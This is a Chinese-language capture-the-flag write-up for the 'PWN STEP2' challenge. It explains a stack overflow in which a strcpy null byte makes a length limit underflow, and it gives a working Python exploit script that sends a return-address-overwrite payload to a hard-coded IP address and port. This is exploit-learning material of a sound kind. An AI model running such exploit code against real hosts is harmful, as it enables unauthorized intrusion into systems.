PWN STEP2 writeup —— 初試棧溢出

Hint緩衝區溢出時需要構造好哪些東西?

題目描述:

pwnstep


Writeup:

糾結要不要把這篇writeup歸到“原創”分類下,因爲這道題是看了大神的writeup(注:http://blog.csdn.net/zh_explorer/article/details/45193905)之後才做出來的。。。。。。。。。

不過腳本完全是自己寫的,所以姑且將它算爲“原創”吧。。。。。。。。。


函數step2的流程爲,第一次輸入爲password,調用strcmp函數進行明碼比較,若pw不對直接結束程序。第二次輸入爲計算“二十三 plus 0x56 = ?”的結果,後面有個cmp比較,所以可以直接得到結果,但是結果輸入正確以後就沒有以後了。。。。

在IDA字符串窗口中找到了“pwn/step2”,猜測可以將其作爲打印flag函數的參數(step1就是以“pwn/step1”爲參數打印flag的)。函數step2的流程中並沒有打印flag的函數,因此猜測整個思路爲構造棧溢出覆蓋step2函數的返回地址爲打印flag的函數地址,覆蓋參數爲“pwn/step2”。

兩次輸入均有長度限制40h,因此直接輸入payload無法構造棧溢出。

但是在第二次輸入之前有個strcpy,將第一次輸入的pw複製到棧中的ebp+dest處。觀察棧幀發現,從ebp+dest到長度限制ebp+var_c處距離正好爲40h。因此可以在第一次輸入時在正確pw後面添加任意字符串,使其長度達到40h,這樣進行strcpy時會把字符串結束符“\0”複製到ebp+var_c處。strcpy後面對長度限制進行減一,0-1後是FFFFFFFFFFFFFFFF,因而突破了長度限制。後面第二次輸入時就可以順利構造棧溢出打印flag了。


代碼如下:

#! /user/bin/python
from zio import *
io = zio(('121.41.49.63', 7777))
io.read_until('cake.')
io.writeline('2')
io.read_until('flag.')
payload = '=L=why_dont_you_guess_me?' + 'a' * 39
io.writeline(payload)
payload = '109' + 'a' * 1101 + chr(76) + chr(137) + chr(4) + chr(8) + chr(58) + chr(140) + chr(4) + chr(8)
io.writeline(payload)
io.interact()


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章